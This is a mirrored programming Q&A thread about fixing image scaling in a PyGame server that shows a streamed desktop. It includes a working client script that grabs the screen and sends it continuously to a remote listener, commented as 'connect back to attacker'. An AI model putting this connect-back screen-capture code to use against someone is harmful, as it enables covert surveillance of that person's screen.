Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
183 views
in Technique[技术] by (71.8m points)

python - Resize PyGame screen

Problem

Basically I have this code to streaming the desktop screen. The problem is that when I will try to resize the screen of server (server will receive the images) the image stay cutted/distorted

My try of resize the window: enter image description here

What is supposed to be (simulation): enter image description here

Question

Which alteration is need to resize correctly the window of image streaming?

Thanks in advance.

Server

import socket
from zlib import decompress

import pygame

#1900 1000

WIDTH = 600
HEIGHT = 600

def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not   data:
            return data
        buf += data
    return buf


def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
    pygame.init()

    screen = pygame.display.set_mode((WIDTH, HEIGHT))

    clock = pygame.time.Clock()
    watching = True

    #x = sock.recv(1024).decode()
    #print(x)

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
            #.frombuffer(msg,(320,240),"RGBX"))


            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()  

Client

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

import sys
from PyQt5 import QtWidgets

app = QtWidgets.QApplication(sys.argv)

screen = app.primaryScreen()
size = screen.size()

WIDTH = size.width()
HEIGHT = size.height()

print(WIDTH, HEIGHT)
WIDTH = 600

HEIGHT = 600

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 10, 'left': 10, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)

            print(img)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 0)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            try:
                    conn.send(bytes([size_len]))

            except:
                    break
                 
            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.15.2', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))

    
    try:
        #sock.send(str('123213213').encode('utf-8'))
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()
question from:https://stackoverflow.com/questions/65670883/resize-pygame-screen

与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Reply

0 votes
by (71.8m points)

Your code in your most recent pastebin was nearly correct, but like I said, you have to store server and client resolution separately:

import socket
from zlib import decompress
import pygame
 
def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf
 
 
def main(host='192.168.15.2', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)
 
    client_resolution = (conn.recv(50).decode())
    client_resolution = str(client_resolution).split(',')
    CLIENT_WIDTH = int(client_resolution[0])
    CLIENT_HEIGHT = int(client_resolution[1])
    
    #store the server's resolution separately
    SERVER_WIDTH = 1000
    SERVER_HEIGHT = 600
 
    pygame.init()
 
    screen = pygame.display.set_mode((SERVER_WIDTH, SERVER_HEIGHT))
 
    clock = pygame.time.Clock()
    watching = True
 
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break
 
            # Retreive the size of the pixels length, the pixels length and pixels
 
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))
 
            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (CLIENT_WIDTH, CLIENT_HEIGHT), 'RGB')            
            
            #resize the client image to match the server's screen dimensions
            scaled_img = pygame.transform.scale(img, (SERVER_WIDTH, SERVER_HEIGHT))

            # Display the picture
            screen.blit(scaled_img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()
 
 
if __name__ == "__main__":
    main()  

Note that you can, at any point, change the server's resolution, totally independently of what the client's resolution is. Meaning you could make the window resizable even, if you wanted.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
OGeek|极客中国-欢迎来到极客的世界,一个免费开放的程序员编程交流平台!开放,进步,分享!让技术改变生活,让极客改变未来! Welcome to OGeek Q&A Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

1.4m articles

1.4m replys

5 comments

57.0k users

...